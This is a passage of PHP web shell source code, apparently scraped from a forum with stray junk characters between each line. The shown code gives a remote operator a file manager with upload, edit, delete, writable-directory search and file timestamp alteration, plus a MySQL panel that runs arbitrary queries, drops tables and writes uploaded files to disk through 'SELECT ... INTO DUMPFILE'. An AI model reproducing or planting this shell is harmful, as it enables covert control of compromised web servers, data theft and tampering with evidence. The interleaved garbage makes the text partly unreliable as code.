469. function godir(dir,view_writable){
     . j. T, [4 w, ^: _0 w1 l
470.         if (view_writable) {
     
471.                 $('godir').view_writable.value=1;
     ; d5 r/ z+ V2 J
472.         }
     
473.         $('godir').dir.value=dir;
     " f; n% B4 K( c  }# d
474.         $('godir').submit();
     
475. }
     7 @- M! h8 k, f* F. L/ N
476. </script>
     4 E, R6 s: o  U' U+ p
477.   <?php
     
478.         tbhead();
     $ @/ w) [; j& c# a0 T# A- l8 b& i
479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
     / v/ _' l  Z" C
480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
     
481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
     ( z3 O- r' |/ d
482.         if ($view_writable) {
     4 w  B( t3 \4 Z; W% a* i
483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
     6 k, G& w3 R, L; s3 D
484.         } else {
     , c+ C) q* B6 R7 L! \2 r" u; i
485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
     ' i# e4 Y! q  H. U* D) L
486.         }
     
487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
     
488.         if (IS_WIN && IS_COM) {
     
489.                 $obj = new COM('scripting.filesystemobject');
     : i% r7 g) @* p1 i( W( p
490.                 if ($obj && is_object($obj)) {
     6 C! c) i# T* V% U+ y6 K! V
491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
     8 Y* W: n2 X, J( u* g% }+ N
492.                         foreach($obj->Drives as $drive) {
     # e+ x" K! K; W7 M: S
493.                                 if ($drive->DriveType == 2) {
     
494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
     
495. Free:'.sizecount($drive->FreeSpace).'
     3 y3 v) n! I3 V
496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
       G0 j2 j: I3 }. l( y' M
497.                                 } else {
     % B, C0 [; G2 u; V1 G2 C. S7 t0 Y
498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
     
499.                                 }
     
500.                         }
     ' }1 I7 h  G8 Q+ ]3 S
501.                 }
     
502.         }
     
503. 
     
504.         p('</td></tr></form>');
     
505. 
     , N% `; K) ^! c  Y! o4 m
506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
     7 ^9 Q1 c$ b) |' ]- k& b) @
507. 
     / @2 ^  ^4 {, N7 S
508.         //查看所有可写文件和目录
     
509.         $dirdata=array();
     % N9 Y( R: l5 Q3 s5 r
510.         $filedata=array();
     3 \2 O9 B1 k1 a
511. 
     
512.         if ($view_writable) {
     - @) h! j+ `7 n5 y+ K
513.                 $dirdata = GetList($nowpath);
     5 f! c0 k9 A% }) G  V8 l; X
514.         } else {
     . n; r$ w5 V& }: j$ q: y8 z
515.                 // 目录列表
     7 V7 u& j& ]3 i9 ]
516.                 $dirs=@opendir($dir);
     
517.                 while ($file=@readdir($dirs)) {
     % X* C& G% ?* F
518.                         $filepath=$nowpath.$file;
     
519.                         if(@is_dir($filepath)){
     8 I+ V+ w8 O9 O! Z0 D
520.                                 $dirdb['filename']=$file;
     
521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     - j% M, |- o* t: X: p% F* T
522.                                 $dirdb['dirchmod']=getChmod($filepath);
     
523.                                 $dirdb['dirperm']=getPerms($filepath);
     
524.                                 $dirdb['fileowner']=getUser($filepath);
     + c* m. b5 K% ^, p3 f+ ?
525.                                 $dirdb['dirlink']=$nowpath;
     
526.                                 $dirdb['server_link']=$filepath;
     
527.                                 $dirdb['client_link']=ue($filepath);
     
528.                                 $dirdata[]=$dirdb;
     
529.                         } else {               
     
530.                                 $filedb['filename']=$file;
     $ z& h5 d$ B: c) X+ ]
531.                                 $filedb['size']=sizecount(@filesize($filepath));
     , Z, i1 Y  |% g; H# d& m8 L) E* V
532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
     9 _4 {, m0 l: ~6 K7 e
533.                                 $filedb['filechmod']=getChmod($filepath);
     5 I9 l6 d- _: ]! G) @* z' W
534.                                 $filedb['fileperm']=getPerms($filepath);
     
535.                                 $filedb['fileowner']=getUser($filepath);
     6 w* M% w- w& F3 L( F
536.                                 $filedb['dirlink']=$nowpath;
     5 l: \0 }. o3 P
537.                                 $filedb['server_link']=$filepath;
     
538.                                 $filedb['client_link']=ue($filepath);
     
539.                                 $filedata[]=$filedb;
     0 `8 p- Y/ o, G% H6 [. B+ w
540.                         }
     7 q3 U0 Z# F! _6 Z( C
541.                 }// while
     
542.                 unset($dirdb);
     9 Q, @. U  s1 x  G
543.                 unset($filedb);
     / x# z# `$ z7 r3 p! c+ R- E' D
544.                 @closedir($dirs);
     
545.         }
     
546.         @sort($dirdata);
     $ ~8 h  u' ?; M8 u& Y6 A
547.         @sort($filedata);
     
548.         $dir_i = '0';
     # _. k: |/ x8 G  \! T: J3 ^' u, L
549.         foreach($dirdata as $key => $dirdb){
     
550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
     4 _0 o3 P/ N8 U) F7 z" h9 o, W( v
551.                         $thisbg = bg();
     3 ~0 D" N+ j4 M
552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
     
554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
     9 X; R) H! i# x, H) H3 R
555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
     
556.                         p('<td nowrap>--</td>');
     
557.                         p('<td nowrap>');
     
558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
     
559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
     
560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
     
561.                         p('</tr>');
     8 k* T  \0 V& X+ i& o& z2 P
562.                         $dir_i++;
     
563.                 } else {
     
564.                         if($dirdb['filename']=='..') {
     . O" h7 u6 m. r
565.                                 p('<tr class='.bg().'>');
     4 @$ z/ ~, z. P9 F0 ~4 g$ @' `8 E
566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
     9 |/ _% H& ^& A; u* C( r
567.                                 p('</tr>');
     
568.                         }
     - K% |' t1 X& m: Z1 E4 |* \7 _
569.                 }
     
570.         }
     - J( b# |9 Y0 J4 {
571. 
     # v$ s1 A5 k. ~
572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
     / I$ v3 p  ]) L* i% W; @
573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
     . R! h  z% {% ?; b" j6 o" [2 G
574.         makehide('action','file');
     % W( ~: g; b* g6 E$ q: u& z
575.         makehide('thefile');
     
576.         makehide('doing');
     
577.         makehide('dir',$nowpath);
     
578.         $file_i = '0';
     : ]7 L1 v' j( }$ V1 w% u
579.         foreach($filedata as $key => $filedb){
     - A$ ?: ]) ]+ W, Z6 u
580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
     ' r& V( i3 {- ?. {0 q$ \
581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
     
582.                         $thisbg = bg();
     
583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
     
585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
     # g4 g& y  F# D( ^
586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
     
587.                         p('<td nowrap>'.$filedb['size'].'</td>');
     
588.                         p('<td nowrap>');
     0 ?% I' C- o3 D1 b! a
589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
     ; `& b& J( w5 H$ X* _% `
590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
     
591.                         p('<td nowrap>');
     4 Y6 [. ?+ B2 {! T
592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
     1 k1 o4 _2 V/ m" \" F# _2 Q
593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
     
594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
     
595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
     $ j3 w/ o4 [7 j0 q* N' \
596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
       I/ s. G9 G9 ?  j
597.                         p('</td></tr>');
     
598.                         $file_i++;
     1 l7 V1 e- ~+ f. X
599.                 }
     
600.         }
     ; ~+ N# o, k8 J$ z
601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
     
602.         p('</form></table>');
     9 o* \* F& v- b
603. }// end dir
     0 {; o8 C1 `0 W
604. 
     
605. elseif ($action == 'sqlfile') {
     8 F+ @" V% L; B7 H) F; v
606.         if($doing=="mysqlupload"){
     
607.                 $file = $_FILES['uploadfile'];
     
608.                 $filename = $file['tmp_name'];
     3 @4 T3 c+ q8 G  u- w: @
609.                 if (file_exists($savepath)) {
     
610.                         m('The goal file has already existed');
     3 r% n. C6 u+ v& v
611.                 } else {
     $ N! }, Q+ B" D# @" o
612.                         if(!$filename) {
     
613.                                 m('Please choose a file');
       l- I) M- r) d) c! ^9 R6 r
614.                         } else {
     ! T. |  |  t. W. g: A
615.                                 $fp=@fopen($filename,'r');
       Q( A; u2 Q, z' A. Y+ a. {
616.                                 $contents=@fread($fp, filesize($filename));
     . G5 G% `9 B( N' h0 i1 x
617.                                 @fclose($fp);
     5 E( C( h6 {( `5 s) W. A/ ^, X
618.                                 $contents = bin2hex($contents);
     
619.                                 if(!$upname) $upname = $file['name'];
     ! I5 V5 P# ]5 _  n9 H3 A  j8 d
620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
     
622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
     
623.                         }
     
624.                 }
     
625.         }
     
626. ?>
     
627. <script type="text/javascript">
     ) z' d8 x; ]& d' E% j$ C
628. function mysqlfile(doing){
     
629.         if(!doing) return;
     $ ^) G3 o) a4 {5 T8 }* l, a& }
630.         $('doing').value=doing;
     
631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
     0 U; V' g  Y6 ]6 [. i
632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
     ' I+ K$ y5 l1 r
633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
     
634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
     
635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
     
636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
     $ P! }6 r0 W  X
637.         $('mysqlfile').submit();
     4 F" ~; f) b( j% `4 K$ ?
638. }
     - X5 K6 \: D% u. m% \. j, c# ]+ Z  t
639. </script>
     2 O5 s. s; t% o) }) ?7 a: n
640. <?php
     
641.         !$dbhost && $dbhost = 'localhost';
     
642.         !$dbuser && $dbuser = 'root';
     
643.         !$dbport && $dbport = '3306';
     0 v0 k4 E& h0 U
644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     " B- i( i# y# t1 y3 t* Q
645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
     1 S2 p6 z' A0 X2 P$ t# r
646.         makehide('action','sqlfile');
     
647.         p('<p>');
     
648.         p('DBHost:');
     ; x+ ~  T/ y7 q7 u/ u4 [( ^
649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     4 y, V, X8 ]& j, ]9 x" h# Q# b" L
650.         p(':');
     : `4 S: O5 I2 {/ b0 E. |
651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     
652.         p('DBUser:');
     
653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     - k5 E, `, ]6 A) L8 f
654.         p('DBPass:');
     1 B, o2 z' b$ j
655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     8 e- ~6 M7 e; R7 M
656.         p('DBName:');
     
657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
     
658.         p('DBCharset:');
     ' p5 y' g( X7 s, k
659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     
660.         p('</p>');
     
661.         formfoot();
     
662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
     ' b9 m  N) L0 Y8 k; T: u
663.         p('<h2>Upload file</h2>');
     , o# B: I( Q1 Z, U& _$ D) \: F$ H
664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
     . a! o9 T6 x6 g' X" C3 W& t
665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
     6 h' m+ b' i% L
666.         p('<h2>Download file</h2>');
     
667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
     
668.         makehide('dbhost');
     
669.         makehide('dbport');
     : D" e/ F! l/ {% ]. f: B
670.         makehide('dbuser');
     $ m* o1 }, U6 y6 @( d9 u) L
671.         makehide('dbpass');
     
672.         makehide('dbname');
     2 ]+ p6 q( x7 B9 m& G% n" g
673.         makehide('charset');
     
674.         makehide('doing');
     # u  ?6 _: u4 i7 I! ?% U
675.         makehide('action','sqlfile');
     
676.         p('</form>');
     
677. }
     
678. 
     
679. elseif ($action == 'sqladmin') {
     
680.         !$dbhost && $dbhost = 'localhost';
     
681.         !$dbuser && $dbuser = 'root';
     ' ^4 G' q9 _* B. F6 H
682.         !$dbport && $dbport = '3306';
     
683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
     : j$ a1 K) k- i* o2 q
684.         if(isset($dbhost)){
     
685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
     
686.         }
     0 r  j; U& Q7 S( t6 ?% r# j
687.         if(isset($dbuser)) {
     
688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
     ( T$ O# u& [) z# P" m5 I% k* S
689.         }
     / w' M; n4 G0 }# E# s! D
690.         if(isset($dbpass)) {
     
691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
     
692.         }
     
693.         if(isset($dbport)) {
     
694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
     
695.         }
     
696.         if(isset($dbname)) {
     2 |& R4 I3 x: _& F! g: G* w
697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
     
698.         }
     
699.         if(isset($charset)) {
     
700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
     
701.         }
     
702. 
     / I. R# z$ r) E4 F- I* k  |
703.         if ($doing == 'backupmysql' && $saveasfile) {
     
704.                 if (!$table) {
     $ e" k1 [7 s8 X4 a) p: g
705.                         m('Please choose the table');
     
706.                 } else {
     ! Q- H% g- @8 V& F1 t) L
707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     . U0 {/ Z( v- {) Q% K6 d/ ?6 y
708.                         $table = array_flip($table);
     
709.                         $fp = @fopen($path,'w');
     
710.                         if ($fp) {
     
711.                                 $result = q('SHOW tables');
     ( n8 E$ y' n. [; Y2 k
712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
     
713.                                 $mysqldata = '';
     
714.                                 while ($currow = mysql_fetch_array($result)) {
     + e6 N: }: I; r" E2 Z6 `6 N1 _6 G( [
715.                                         if (isset($table[$currow[0]])) {
     
716.                                                 sqldumptable($currow[0], $fp);
     
717.                                         }
     
718.                                 }
     4 v' D. h9 x7 i- ?
719.                                 fclose($fp);
     ' y7 I" L5 A. k
720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
     3 I4 g4 Y$ S! k3 c/ v& b& F6 p
721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
     
722.                                 mysql_close();
     
723.                         } else {
     / }0 [$ f- B0 C. j
724.                                 m('Backup failed');
     
725.                         }
     
726.                 }
     
727.         }
     
728.         if ($insert && $insertsql) {
     
729.                 $keystr = $valstr = $tmp = '';
     4 u, R2 b1 X. J8 W. _/ {8 q+ F
730.                 foreach($insertsql as $key => $val) {
       ^/ `; |( q& E8 l
731.                         if ($val) {
     
732.                                 $keystr .= $tmp.$key;
     : w! j: |* T& f
733.                                 $valstr .= $tmp."'".addslashes($val)."'";
     * l/ u" v' R( ~2 z% i/ X8 i$ y
734.                                 $tmp = ',';
     + r) k- v) y9 D2 \% m
735.                         }
     ' e) o* U8 J: ]* M5 b6 C
736.                 }
     ; V7 Q3 ^5 f: V1 t4 h, p3 L
737.                 if ($keystr && $valstr) {
     
738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     - b( a- n' t7 P9 z& _) q
739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
     9 I8 h( O" K8 q5 G4 v
740.                 }
     
741.         }
     - X2 V6 |$ m- O& ~
742.         if ($update && $insertsql && $base64) {
     5 G. `! {! J2 z/ R3 m
743.                 $valstr = $tmp = '';
     ' i) c5 k0 D/ ?, p! y+ w7 O7 K6 z
744.                 foreach($insertsql as $key => $val) {
     6 I! b6 n/ N5 u5 d+ v! ^
745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
     
746.                         $tmp = ',';
     " T/ c) f8 r- x) y
747.                 }
     1 u2 G# x3 o- }" ?  a$ Q
748.                 if ($valstr) {
     9 k- _+ Z1 \" N$ V  c
749.                         $where = base64_decode($base64);
     
750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     $ J  n& B+ I- X" `" r7 Q2 n* n1 D6 U
751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
     
752.                 }
     
753.         }
     
754.         if ($doing == 'del' && $base64) {
     ! N2 H5 P/ z) [! L% Y5 r
755.                 $where = base64_decode($base64);
     
756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
     
757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     
758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
     
759.         }
     
760. 
     
761.         if ($tablename && $doing == 'drop') {
     
762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
     / c' Z; e+ \7 A6 V9 ?
763.                 if (q("DROP TABLE $tablename")) {
     
764.                         m('Drop table of success');
     6 }3 g6 _8 F# P1 Z+ B) S& I
765.                         $tablename = '';
     0 I3 `' ^/ C: V" @# }5 C& \
766.                 } else {
     
767.                         m(mysql_error());
     " m% L  R7 D3 u6 ?. w
768.                 }
     ) L+ w6 G+ l2 @
769.         }
     + J6 j7 S1 \; A( m
770. 
     
771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
     ; o2 i! Q" Y  g0 W
772. 
     
773.         formhead(array('title'=>'MYSQL Manager'));
     ) U7 N8 h4 F+ f" Z$ }
774.         makehide('action','sqladmin');
     / k( X7 _0 ]: I. C1 ?
775.         p('<p>');
     
776.         p('DBHost:');
     ' |% o* s5 i! V3 c4 ~6 B
777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
     
778.         p(':');
     
779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
     8 M8 N+ ~4 M2 D
780.         p('DBUser:');
     / Y" Y( x/ V' H& ~) l* }3 Q
781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
     
782.         p('DBPass:');
     
783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
     
784.         p('DBCharset:');
     
785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
     ) p& @" E. {" x+ K9 K
786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
     5 B! a- t1 {: I* f
787.         p('</p>');
     
788.         formfoot();
     2 t% w9 R1 c# `7 ?1 V1 D/ b) |
789. ?>
     
790. <script type="text/javascript">
     ' O2 }2 |% N% C) \0 }
791. function editrecord(action, base64, tablename){
     6 l  Y" }1 w/ f
792.         if (action == 'del') {               
     , P, S7 ?% j  @. y  U( D% i) D
793.                 if (!confirm('Is or isn\'t deletion record?')) return;
     7 D# H1 r4 E3 h/ \, b- H% [
794.         }
     
795.         $('recordlist').doing.value=action;
     : v' D" j/ ?* n+ k
796.         $('recordlist').base64.value=base64;
       a! l% A# x7 Z& }6 m: ]
797.         $('recordlist').tablename.value=tablename;
     3 `  T( a$ X. h! ?- m3 W
798.         $('recordlist').submit();
     2 N2 G) R1 v# R2 J* o8 ~
799. }
     
800. function moddbname(dbname) {
     : L" W2 v' [) F+ F: e: q" c0 f
801.         if(!dbname) return;
     ! D# H7 P$ d/ s5 r7 G; \% b; A
802.         $('setdbname').dbname.value=dbname;
     
803.         $('setdbname').submit();
     / h+ _& Z3 M% p# H3 ?
804. }
     / h9 C* W1 c" V* a7 z: A
805. function settable(tablename,doing,page) {
     
806.         if(!tablename) return;
     7 k+ b. \+ Z& R
807.         if (doing) {
     
808.                 $('settable').doing.value=doing;
     % C, j/ `7 g1 J% G
809.         }
     ; n/ v. t7 g& s) h5 m2 V
810.         if (page) {
     
811.                 $('settable').page.value=page;
     ( ~% H2 y' y0 O, r! _
812.         }
     
813.         $('settable').tablename.value=tablename;
     
814.         $('settable').submit();
     " j5 N& S. U) _* ^+ {9 \0 y
815. }
     ( Z) Z% e2 p! g* j
816. </script>
     3 _6 A8 V8 K7 x* c) b* R& J7 h
817. <?php
     
818.         //操作记录
     
819.         formhead(array('name'=>'recordlist'));
     
820.         makehide('doing');
     
821.         makehide('action','sqladmin');
     
822.         makehide('base64');
     
823.         makehide('tablename');
     5 G3 K, B% b5 B7 Z, r/ v& K
824.         p($dbform);
     $ L8 ]3 C  Z. r7 p7 t8 y+ f5 K6 M
825.         formfoot();
     / |# n+ ~$ F% J" Z
826.         //选定数据库
     2 C1 t6 [7 @% z* |) B8 B
827.         formhead(array('name'=>'setdbname'));
     
828.         makehide('action','sqladmin');
     & t+ T, E# o  m* v9 ^
829.         p($dbform);
     , v' f) z+ t# ~8 u: l+ d- r
830.         if (!$dbname) {
     
831.                 makehide('dbname');
     2 f; Z2 |2 z' U/ D: O: h
832.         }
     # Q: u' \! C0 y
833.         formfoot();
     
834.         //选定表
     3 J* [1 ^( _& V1 m8 i
835.         formhead(array('name'=>'settable'));
     
836.         makehide('action','sqladmin');
     % V4 M/ z% @* v. {$ Q  n
837.         p($dbform);
     
838.         makehide('tablename');
     ! f8 R+ ~- u9 P# G
839.         makehide('page',$page);
     
840.         makehide('doing');
     ; {/ t3 w4 Y# S# f1 h5 s. V8 E
841.         formfoot();
     ( A& K; V* w' I* ^1 U, ^
842.         $cachetables = array();       
     
843.         $pagenum = 30;
     4 Q& ^! e! j8 j, `" h: ?7 _& e
844.         $page = intval($page);
     
845.         if($page) {
     8 [2 t, Q; E+ f# G  G5 P6 `
846.                 $start_limit = ($page - 1) * $pagenum;
     
847.         } else {
     
848.                 $start_limit = 0;
     
849.                 $page = 1;
     
850.         }
     
851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
     * |6 ~( n# p, l" v. A% K5 b: i
852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
       n( F: j, R- o- m
853.                 //获取数据库信息
     
854.                 $mysqlver = mysql_get_server_info();
     
855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
     
856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
     2 N0 ~2 ~  s# {* {3 [; ~
857.                 //获取数据库
     
858.                 $query = q("SHOW DATABASES");
     
859.                 $dbs = array();
     
860.                 $dbs[] = '-- Select a database --';
     
861.                 while($db = mysql_fetch_array($query)) {
     
862.                         $dbs[$db['Database']] = $db['Database'];
     
863.                 }
     : b, ~( O8 X6 {( r( x. J1 [
864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
     
865.                 $tabledb = array();
     
866.                 if ($dbname) {
     
867.                         p('<p>');
     
868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
     
869.                         if ($tablename) {
     
870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
     % t- l  R: t' h5 r$ _
871.                         }
     
872.                         p('</p>');
     
873.                         mysql_select_db($dbname);
     ) T! y0 L/ B. s0 X
874.                         $getnumsql = '';
     3 Y4 W( ?' T5 X
875.                         $runquery = 0;
     8 s" A6 r$ m! W  a7 V7 a6 p5 G! f: U
876.                         if ($sql_query) {
     
877.                                 $runquery = 1;
     + [& h- G4 f" i5 w
878.                         }
     " t: c2 d/ s) R
879.                         $allowedit = 0;
     4 ?& B) @* g7 b! q% `  f* K/ p4 y9 u( o
880.                         if ($tablename && !$sql_query) {
     ) i$ @. V0 \6 W: a$ L
881.                                 $sql_query = "SELECT * FROM $tablename";
     0 Q# I, q* a, [1 u6 X3 X6 e
882.                                 $getnumsql = $sql_query;
     
883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
     
884.                                 $allowedit = 1;
     7 ]$ i/ s8 r  ^9 P; ~
885.                         }
     
886.                         p('<form action="'.$self.'" method="POST">');
     ' {, G- m. e% U$ M& ?8 U
887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
     . K9 F: R# I+ {1 t3 g
888.                         makehide('tablename', $tablename);
     1 C. N- r; a& b$ ]6 `
889.                         makehide('action','sqladmin');
     
890.                         p($dbform);
     
891.                         p('</form>');
     # d+ J7 G7 d! k2 x0 y* l' }: O
892.                         if ($tablename || ($runquery && $sql_query)) {
     
893.                                 if ($doing == 'structure') {
       ~9 O% k" }5 z: T& J* }
894.                                         $result = q("SHOW COLUMNS FROM $tablename");
     
895.                                         $rowdb = array();
     
896.                                         while($row = mysql_fetch_array($result)) {
     
897.                                                 $rowdb[] = $row;
     2 G; _4 J# A. `+ e6 C9 |; a! h
898.                                         }
     & t8 o' I* s3 I3 ]9 B# k
899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
900.                                         p('<tr class="head">');
     4 S; D! j; n7 C9 {. U- w' Y7 y3 s% K
901.                                         p('<td>Field</td>');
     
902.                                         p('<td>Type</td>');
     
903.                                         p('<td>Null</td>');
     
904.                                         p('<td>Key</td>');
     * q' j7 P' X! E" a
905.                                         p('<td>Default</td>');
     : o0 j2 Z$ e1 l! l
906.                                         p('<td>Extra</td>');
     / S- q9 O1 W" e2 R& I
